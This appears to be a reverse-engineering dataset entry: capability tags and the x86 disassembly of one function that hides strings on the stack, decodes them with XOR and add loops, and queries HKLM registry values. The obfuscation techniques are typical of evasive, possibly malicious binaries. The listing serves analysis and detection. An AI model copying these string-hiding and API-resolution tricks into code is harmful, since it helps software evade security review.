Function at 0x420570
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Parse pe header
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x110
mov eax, dword [0x4310d8]
mov dword [esp + 0x10c], eax
mov al, 0x2c
mov dl, 0x45
mov dword [esp + 0x10], ecx
mov byte [esp + 0x79], al
mov byte [esp + 0x7e], al
mov cl, 0xc5
mov byte [esp + 0x93], al
mov al, 0x40
push ebx
mov byte [esp + 0x8b], dl
mov byte [esp + 0x60], dl
mov dl, 0xdb
push ebp
mov byte [esp + 0x90], cl
mov byte [esp + 0x65], cl
mov cx, word [0x431f38]
mov byte [esp + 0x72], al
mov byte [esp + 0x7d], al
mov byte [esp + 0x80], 0x54
mov byte [esp + 0x82], 0x7c
mov byte [esp + 0x83], 0xc
mov byte [esp + 0x84], 0x12
mov byte [esp + 0x85], 0x7c
mov byte [esp + 0x87], 0xe7
mov byte [esp + 0x88], 0x50
mov byte [esp + 0x89], 0x8d
mov byte [esp + 0x8a], 0x53
mov byte [esp + 0x8b], 0x29
mov byte [esp + 0x8c], 0xa2
mov byte [esp + 0x8d], 0xa8
mov byte [esp + 0x8e], 0x4e
mov byte [esp + 0x91], 0x81
mov byte [esp + 0x92], 9
mov byte [esp + 0x93], 0xb3
mov byte [esp + 0x94], 0xdc
mov byte [esp + 0x95], 0x50
mov byte [esp + 0x96], 0x2a
mov byte [esp + 0x97], 0xc2
mov byte [esp + 0x98], 5
mov byte [esp + 0x99], 0x69
mov byte [esp + 0x9a], 0x76
mov byte [esp + 0x9c], 0x20
mov byte [esp + 0x9d], 0x30
mov byte [esp + 0x9e], 0x70
mov byte [esp + 0x9f], 0x9e
mov byte [esp + 0x60], 0xff
mov byte [esp + 0x61], 0x23
mov byte [esp + 0x62], 0xca
mov byte [esp + 0x63], 0x48
mov byte [esp + 0x66], 0x26
mov byte [esp + 0x67], 0x5e
mov byte [esp + 0x68], 0xc
mov byte [esp + 0x69], 0xc6
mov byte [esp + 0x6a], 0x26
mov byte [esp + 0x6b], 0x44
mov byte [esp + 0x6c], 0xbf
mov byte [esp + 0x6d], 0xc6
mov byte [esp + 0x6e], 0x26
mov byte [esp + 0x6f], 0x20
mov byte [esp + 0x70], 0x9e
mov byte [esp + 0x71], dl
mov byte [esp + 0x73], 0xbb
mov byte [esp + 0x74], 0x97
mov byte [esp + 0x75], 0x24
mov byte [esp + 0x76], 0x37
mov byte [esp + 0x77], 0xaa
mov byte [esp + 0x78], 0x67
mov byte [esp + 0x79], 0xfc
mov byte [esp + 0x7a], 0xee
mov byte [esp + 0x7b], 0x15
mov byte [esp + 0x7c], 0x50
mov byte [esp + 0x7e], 3
mov byte [esp + 0x7f], 0x62
xor eax, eax
push esi
lea esp, [esp]
mov bl, byte [esp + eax + 0x64]
add byte [esp + eax + 0x84], bl
mov bl, byte [esp + eax + 0x65]
add byte [esp + eax + 0x85], bl
mov bl, byte [esp + eax + 0x66]
add byte [esp + eax + 0x86], bl
mov bl, byte [esp + eax + 0x67]
add byte [esp + eax + 0x87], bl
add cx, 0x6d
add cx, 0x6d
add cx, 0x6d
add eax, 4
add cx, 0x6d
cmp eax, 0x20
jl 0x420730
mov al, 0xf2
mov word [0x431f38], cx
mov cl, 0xf8
mov byte [esp + 0x64], dl
mov byte [esp + 0x6a], al
mov byte [esp + 0x6c], al
mov byte [esp + 0x2c], al
mov dl, 0x87
push edi
lea eax, [esp + 0x68]
mov byte [esp + 0x78], cl
mov byte [esp + 0x29], cl
mov cl, 0x91
mov byte [esp + 0x2c], dl
mov byte [esp + 0x31], dl
push eax
mov bl, 0xf3
lea edx, [esp + 0x28]
mov eax, 0x12
mov byte [esp + 0x6d], 0x6b
mov byte [esp + 0x6e], 0x8c
mov byte [esp + 0x6f], 0xdf
mov byte [esp + 0x70], 0x11
mov byte [esp + 0x71], 0x4d
mov byte [esp + 0x73], 0x60
mov byte [esp + 0x75], 0xf6
mov byte [esp + 0x76], 0xfc
mov byte [esp + 0x77], 0x1a
mov byte [esp + 0x78], 0x4e
mov byte [esp + 0x79], 0x98
mov byte [esp + 0x7a], 0x3f
mov byte [esp + 0x7b], 0xc1
mov byte [esp + 0x7d], 0xf4
mov byte [esp + 0x28], 0xbc
mov byte [esp + 0x29], 0xf5
mov byte [esp + 0x2a], 0x9b
mov byte [esp + 0x2b], 0xef
mov byte [esp + 0x2c], 0x8a
mov byte [esp + 0x2e], 0x96
mov byte [esp + 0x2f], bl
mov byte [esp + 0x31], 0xa7
mov byte [esp + 0x32], 0xf4
mov byte [esp + 0x33], cl
mov byte [esp + 0x36], 0xf5
mov byte [esp + 0x37], 0x9c
mov byte [esp + 0x38], 0xe8
mov byte [esp + 0x39], cl
call fcn.0041e250
mov byte [esp + 0xf9], bl
mov bl, 0x36
mov edi, eax
mov byte [esp + 0xf8], 0xf4
mov byte [esp + 0xfa], bl
mov byte [esp + 0xfb], 0xbb
mov byte [esp + 0xfc], 0x66
mov byte [esp + 0xfd], 0x92
mov byte [esp + 0xfe], 0x38
mov byte [esp + 0xff], 0x7e
mov byte [esp + 0x100], 0x9e
mov byte [esp + 0x101], 0xe6
mov byte [esp + 0x102], 0xcd
mov byte [esp + 0x103], 0x71
mov byte [esp + 0x104], 0x7a
mov byte [esp + 0x105], 0x5c
mov byte [esp + 0x106], 0x6d
mov byte [esp + 0x107], 0xbc
mov byte [esp + 0x108], 0x12
mov byte [esp + 0x109], 0xaa
mov byte [esp + 0x10a], bl
mov byte [esp + 0x10b], 0xfb
mov byte [esp + 0x10c], 0x7e
mov byte [esp + 0x10d], 0x11
mov byte [esp + 0x10e], 6
mov byte [esp + 0x10f], 0xf7
mov byte [esp + 0x110], 0x6a
mov byte [esp + 0x111], bl
mov byte [esp + 0x112], 0xac
mov byte [esp + 0x113], 0x31
mov byte [esp + 0x114], 0xcf
mov byte [esp + 0x115], 0x85
mov byte [esp + 0x116], 0xae
mov al, 0xe
lea ecx, [esp + 0xf8]
mov byte [esp + 0x24], al
mov byte [esp + 0x2e], al
push ecx
lea edx, [esp + 0x28]
mov eax, 0x24
mov byte [esp + 0x11b], 0x1d
mov byte [esp + 0x11c], 0x85
mov byte [esp + 0x11d], 0xc
mov byte [esp + 0x11e], 0x64
mov byte [esp + 0x11f], 0xd8
mov byte [esp + 0x29], 0x5d
mov byte [esp + 0x2a], 0x12
mov byte [esp + 0x2b], 0x54
mov byte [esp + 0x2c], 0
mov byte [esp + 0x2d], 0x57
mov byte [esp + 0x2e], 0x16
mov byte [esp + 0x2f], 0x44
mov byte [esp + 0x30], 1
mov byte [esp + 0x31], 0x5d
mov byte [esp + 0x33], 0x77
mov byte [esp + 0x34], 0x1a
mov byte [esp + 0x35], 0x7b
mov byte [esp + 0x36], 0x15
mov byte [esp + 0x37], 0x61
mov byte [esp + 0x38], 4
mov byte [esp + 0x39], 0x67
mov byte [esp + 0x3a], 0x3b
mov byte [esp + 0x3b], 0x72
mov byte [esp + 0x3c], 0x1c
mov byte [esp + 0x3d], 0x68
mov byte [esp + 0x3e], 0xd
mov byte [esp + 0x3f], 0x7f
mov byte [esp + 0x40], 0x11
mov byte [esp + 0x41], 0x74
mov byte [esp + 0x42], 0
mov byte [esp + 0x43], 0x20
mov byte [esp + 0x44], 0x73
mov byte [esp + 0x45], 0x16
mov byte [esp + 0x46], 0x75
mov byte [esp + 0x47], 0
mov byte [esp + 0x48], 0x72
mov byte [esp + 0x49], 0x1b
mov byte [esp + 0x4a], 0x6f
mov byte [esp + 0x4b], 0x16
call fcn.0041e250
mov ebp, eax
mov al, 0xb1
mov dl, 0x95
mov byte [esp + 0x4a], al
mov byte [esp + 0x4e], al
mov byte [esp + 0x58], 0xef
mov byte [esp + 0x59], 0x38
mov byte [esp + 0x5a], 0xd8
mov byte [esp + 0x5b], 0x57
mov byte [esp + 0x5c], 0x1f
mov byte [esp + 0x5d], dl
mov byte [esp + 0x5e], 0xc6
mov byte [esp + 0x5f], 0xc0
mov byte [esp + 0x60], 0xf7
mov byte [esp + 0x61], bl
mov byte [esp + 0x62], 0x10
mov byte [esp + 0x63], 0xd0
mov byte [esp + 0x64], 0xcb
mov byte [esp + 0x65], 0xe6
mov byte [esp + 0x66], 0x63
mov byte [esp + 0x48], 0xbc
mov byte [esp + 0x49], 0x4d
mov byte [esp + 0x4b], 0x23
mov byte [esp + 0x4c], 0x7a
mov byte [esp + 0x4d], 0xda
mov byte [esp + 0x4f], 0xae
mov byte [esp + 0x50], 0x92
mov byte [esp + 0x51], 0x44
mov byte [esp + 0x52], 0x57
mov byte [esp + 0x53], 0xa5
mov byte [esp + 0x54], 0xa2
mov byte [esp + 0x55], 0x82
mov byte [esp + 0x56], 0x63
xor eax, eax
jmp 0x420ad0
mov cl, byte [esp + eax + 0x48]
xor byte [esp + eax + 0x58], cl
mov cl, byte [esp + eax + 0x49]
xor byte [esp + eax + 0x59], cl
mov cl, byte [esp + eax + 0x4a]
xor byte [esp + eax + 0x5a], cl
mov cl, byte [esp + eax + 0x4b]
xor byte [esp + eax + 0x5b], cl
mov cl, byte [esp + eax + 0x4c]
xor byte [esp + eax + 0x5c], cl
add eax, 5
cmp eax, 0xf
jl 0x420ad0
mov eax, dword [0x431f34]
mov esi, 0x32
add eax, esi
mov dword [0x431f34], eax
mov al, 0x78
mov byte [esp + 0x2a], al
mov byte [esp + 0x30], al
mov byte [esp + 0x24], 0x4e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x26], 0x70
mov byte [esp + 0x27], 0x7c
mov byte [esp + 0x28], 0x73
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2b], 0x7e
mov byte [esp + 0x2c], 0x3d
mov byte [esp + 0x2d], 0x5e
mov byte [esp + 0x2e], 0x72
mov byte [esp + 0x2f], 0x6f
mov byte [esp + 0x31], 0x3d
mov byte [esp + 0x32], 0x51
mov byte [esp + 0x33], 0x5e
mov byte [esp + 0x34], 0x1d
xor eax, eax
jmp 0x420b70
xor byte [esp + eax + 0x24], 0x1d
inc eax
cmp eax, 0x11
jl 0x420b70
mov al, 0xc3
mov cl, 0xf1
mov byte [esp + 0xb9], al
mov byte [esp + 0xbd], al
mov al, 0x94
mov byte [esp + 0xaa], cl
mov byte [esp + 0xc4], al
mov byte [esp + 0xd0], cl
mov byte [esp + 0xd3], al
mov al, 0x6c
mov cl, 0x41
mov byte [esp + 0xa8], 0x8a
mov byte [esp + 0xa9], 0x26
mov byte [esp + 0xab], 0xa3
mov byte [esp + 0xac], 0xc8
mov byte [esp + 0xad], 0xed
mov byte [esp + 0xae], bl
mov byte [esp + 0xaf], 0x1e
mov byte [esp + 0xb0], 0x25
mov byte [esp + 0xb1], 0x12
mov byte [esp + 0xb2], 0x52
mov byte [esp + 0xb3], 0x96
mov byte [esp + 0xb4], 0xad
mov byte [esp + 0xb5], 0x9e
mov byte [esp + 0xb6], 0xbf
mov byte [esp + 0xb7], 0x75
mov byte [esp + 0xb8], 0xdd
mov byte [esp + 0xba], 0xce
mov byte [esp + 0xbb], 0x7d
mov byte [esp + 0xbc], 0xa8
mov byte [esp + 0xbe], dl
mov byte [esp + 0xbf], 0x7b
mov byte [esp + 0xc0], 0xa8
mov byte [esp + 0xc1], 0
mov byte [esp + 0xc2], 0x35
mov byte [esp + 0xc3], 0x16
mov byte [esp + 0xc5], 0x19
mov byte [esp + 0xc6], 0x2f
mov byte [esp + 0xc7], 0xd6
mov byte [esp + 0xc8], 0x67
mov byte [esp + 0xc9], 0x14
mov byte [esp + 0xca], 0x50
mov byte [esp + 0xcb], 0xf4
mov byte [esp + 0xcc], 0x54
mov byte [esp + 0xcd], 0x88
mov byte [esp + 0xce], 0xfc
mov byte [esp + 0xd1], 0x60
mov byte [esp + 0xd2], 0xc1
mov byte [esp + 0xd4], 0xfb
mov byte [esp + 0xd5], 0xaf
mov byte [esp + 0xd6], 0x72
mov byte [esp + 0xd7], 0x5d
mov byte [esp + 0xd8], 0x1c
mov byte [esp + 0xd9], 0x3f
mov byte [esp + 0xda], 0x62
mov byte [esp + 0xdb], 0xd2
mov byte [esp + 0xdc], 0x9b
mov byte [esp + 0xdd], 0xa9
mov byte [esp + 0xde], 0x92
mov byte [esp + 0xdf], cl
mov byte [esp + 0xe0], 0x9b
mov byte [esp + 0xe1], 0x85
mov byte [esp + 0xe2], 0xfe
mov byte [esp + 0xe3], 0x50
mov byte [esp + 0xe4], 0x90
mov byte [esp + 0xe5], 0xf4
mov byte [esp + 0xe6], 0xac
mov byte [esp + 0xe7], 0x3e
mov byte [esp + 0xe8], 0x85
mov byte [esp + 0xe9], 0x32
mov byte [esp + 0xea], 2
mov byte [esp + 0xeb], 0x24
mov byte [esp + 0xec], 0xa0
mov byte [esp + 0xed], 0x28
mov byte [esp + 0xee], al
mov byte [esp + 0xef], 0xee
mov byte [esp + 0xf0], 0x53
mov byte [esp + 0xf1], 0x27
mov byte [esp + 0xf2], 0x68
mov byte [esp + 0xf3], 0xc6
mov byte [esp + 0xf4], al
mov byte [esp + 0xf5], 0xf5
mov byte [esp + 0xf6], 0xfc
xor eax, eax
lea esp, [esp]
mov dl, byte [esp + eax + 0xd0]
mov bl, byte [esp + eax + 0xa8]
xor bl, dl
mov dl, byte [esp + eax + 0xd1]
mov byte [esp + eax + 0xa8], bl
mov bl, byte [esp + eax + 0xa9]
xor bl, dl
mov dl, byte [esp + eax + 0xd2]
mov byte [esp + eax + 0xa9], bl
xor byte [esp + eax + 0xaa], dl
add eax, 3
cmp eax, 0x27
jl 0x420df0
mov ax, word [0x431f38]
mov ebx, dword [0x431f34]
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
push 0xff
add ax, 0x6d
add ebx, esi
push 8
mov dword [0x431f34], ebx
mov byte [esp + 0x50], cl
mov byte [esp + 0x51], 0x63
mov byte [esp + 0x52], 0x74
mov byte [esp + 0x53], 0x69
mov byte [esp + 0x54], 0x76
mov byte [esp + 0x55], 0x65
mov byte [esp + 0x56], 0x4e
mov byte [esp + 0x57], 0x49
mov byte [esp + 0x58], 0x53
mov byte [esp + 0x59], 0
mov word [0x431f38], ax
mov dword [esp + 0x20], 0xff
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x10]
push eax
push 1
push 0
lea ecx, [esp + 0x94]
push ecx
push 0x80000002
call esi
test eax, eax
je 0x420f00
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [esp + 0x20]
mov dword [ebx + 0x74], eax
jmp 0x420f04
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x14]
push eax
lea ecx, [esp + 0x24]
push ecx
push 0
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edx
call edi
test eax, eax
je 0x420f32
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx + 0x74], eax
jmp 0x420f40
mov dword [ebx + 0x70], 0x17
mov dword [ebx + 0x78], 1
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x10]
push ecx
push 1
push 0
push ebp
push 0x80000002
call esi
test eax, eax
je 0x420f69
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx + 0x74], eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
push eax
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x24]
push ecx
push 0
lea edx, [esp + 0x68]
push edx
push eax
call edi
or ebp, 0xffffffff
test eax, eax
mov edi, 0x7d6
je 0x420fa7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx + 0x74], eax
mov dword [0x431f2c], 0x5a
jmp 0x420ff4
mov ecx, dword [esp + 0x14]
push ecx
mov dword [0x431f34], 0x6d
lea esi, [esp + 0xac]
call fcn.0042cfce
add esp, 4
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x420fe9
test cl, cl
je 0x420fe5
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x420fe9
add eax, 2
add esi, 2
test cl, cl
jne 0x420fc5
xor eax, eax
jmp 0x420fed
sbb eax, eax
sbb eax, ebp
test eax, eax
jne 0x420ff4
mov dword [ebx + 0x64], edi
movsx cx, byte [0x431f30]
mov edx, dword [0x431f2c]
mov eax, 0x77
mov byte [0x431f30], 0x3d
sub eax, ecx
add ecx, edx
add cl, 0xb
movzx edx, ax
shl edx, 2
mov word [0x431f38], ax
mov dword [0x431f34], edx
mov edx, dword [ebx + 0x64]
and ecx, 0x16
cmp edx, edi
pop edi
je 0x421041
mov dword [ebx + 0x64], ebp
mov dword [ebx + 0x68], ebp
mov dword [ebx + 0x6c], ebp
mov ax, word [0x431f38]
mov esi, dword [0x431f2c]
movsx ecx, cx
movzx edx, ax
imul ecx, edx
sub ecx, 0x43
and esi, ecx
mov dword [0x431f2c], esi
lea esi, [ebx + 0x74]
push esi
lea eax, [esp + 0x24]
push eax
mov ecx, ebx
mov dword [0x431f34], 0x6d
mov word [0x431f38], 0x3a
call fcn.0041f020
push esi
lea ecx, [esp + 0x48]
push ecx
mov ecx, ebx
mov dword [ebx + 0x7c], eax
call fcn.0041f100
mov edx, dword [esp + 0x10]
push edx
push 0
mov dword [ebx + 0x80], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x118]
pop esi
pop ebp
xor eax, eax
pop ebx
call fcn.00424873
add esp, 0x110
ret